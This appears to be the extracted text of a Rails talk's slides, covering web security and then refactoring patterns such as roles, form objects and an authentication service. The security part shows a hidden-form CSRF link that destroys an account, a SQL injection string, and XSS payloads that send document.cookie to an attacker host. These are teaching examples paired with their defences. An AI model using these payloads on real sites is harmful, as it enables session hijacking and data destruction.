z, ? | toggle help (this) |
space, → | next slide |
shift-space, ← | previous slide |
d | toggle debug mode |
## <ret> | go to slide # |
c, t | table of contents (vi) |
f | toggle footer |
g | toggle follow |
r | reload slides |
n | toggle notes |
p | run preshow |
P | toggle pause |
s | choose style |
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
<input name="authenticity_token" type="hidden" value="fdgfe342f3ddblablablfr43de">
protect_from_forgery secret: "123456789012345678901234567890..."
Project.where("name = '#{params[:name]}'")
# OR 1 --
SELECT * FROM projects WHERE name = '' OR 1 --'
Project.where("name = ?", params[:name])
<script>
document.write('<img src="http://www.attacker.com/' + document.cookie + '">');
</script>
<IMG SRC = <script>
document.w
rite('<img
 src=”http
://www.str
ona-atakuj
acego.com'
 + documen
t.cookie +
 '”>');</s
cript>>
<%= h post.comments.first %>
<%= post.comments.first %>
<div style="background:url('javascript:alert(1)')">
class EppsController
def create
@client.as(Roles::EPP)
@client.update_latest_epp if @client.epp_updated_needed
end
end
class ClientsController
def show
@client.update_latest_epp # raise error method not found
end
end
class Client
attr_accessor :epp
end
module Roles
module EPP
def update_latest_epp
self.epp = "Latest EPP"
end
end
end
class Object
def as(role)
self.extend(role)
end
end
@client = Client.new
@client.as(Roles::EPP).update_latest_epp
puts @client.epp # Latest EPP
module Roles
class EPP < Struct.new(:object)
def update_latest_epp
object.epp = "Latest EPP"
end
end
end
class Object
def as(role)
role.new(self)
end
end
@client = Client.new
@client.as(Roles::EPP).update_latest_epp
puts @client.epp # Latest EPP
require "delegate"
module Roles
class EPP < SimpleDelegator
def update_latest_epp
self.epp = "Latest EPP"
end
end
end
class Object
def as(role)
role.new(self)
end
end
@client = Client.new
@client.as(Roles::EPP).update_latest_epp
puts @client.epp # Latest EPP
require "delegate"
module Roles
class EPP < DelegateClass(Client)
def update_latest_epp
self.epp = "Latest EPP"
end
end
end
class Object
def as(role)
role.new(self)
end
end
@client = Client.new
@client.as(Roles::EPP).update_latest_epp
puts @client.epp # Latest EPP
class SongForm < Reform::Form
property :title
property :length
validates :title, presence: true
validates :length, numericality: true
end
class SongsController
def new
@form = SongForm.new(Song.new)
end
def edit
@form = SongForm.new(Song.find(1))
end
end
= form_for @form do |f|
= f.input :name
= f.input :title
class SongsController
def create
@form = SongForm.new(Song.new)
#=> params: {song: {title: "Rio", length: "366"}}
if @form.validate(params[:song])
@form.save
end
end
end
class Employer << ActiveRecord::Base
validate_presence_of :abn, if: !@importer
end
class Employer << ActiveRecord::Base
validate_presence_of :abn, if: (!@importer && !@importerB)
end
class MoneyValues
def initialize(object)
@object = object
end
def self.from_placement(placement)
new(placement)
end
def values
some logic
end
def format_to_currency
end
end
class OutcomeJob < Job
data[:value] = ClaimValues.from_placement(placement).value
end
class UserAuthenticator
def initialize(user)
@user = user
end
def authenticate(unencrypted_password)
return false unless @user
if BCrypt::Password.new(@user.password_digest) == unencrypted_password
@user
else
false
end
end
end
class SessionsController < ApplicationController
def create
user = User.where(email: params[:email]).first
if UserAuthenticator.new(user).authenticate(params[:password])
self.current_user = user
redirect_to dashboard_path
else
flash[:alert] = "Login failed."
render "new"
end
end
end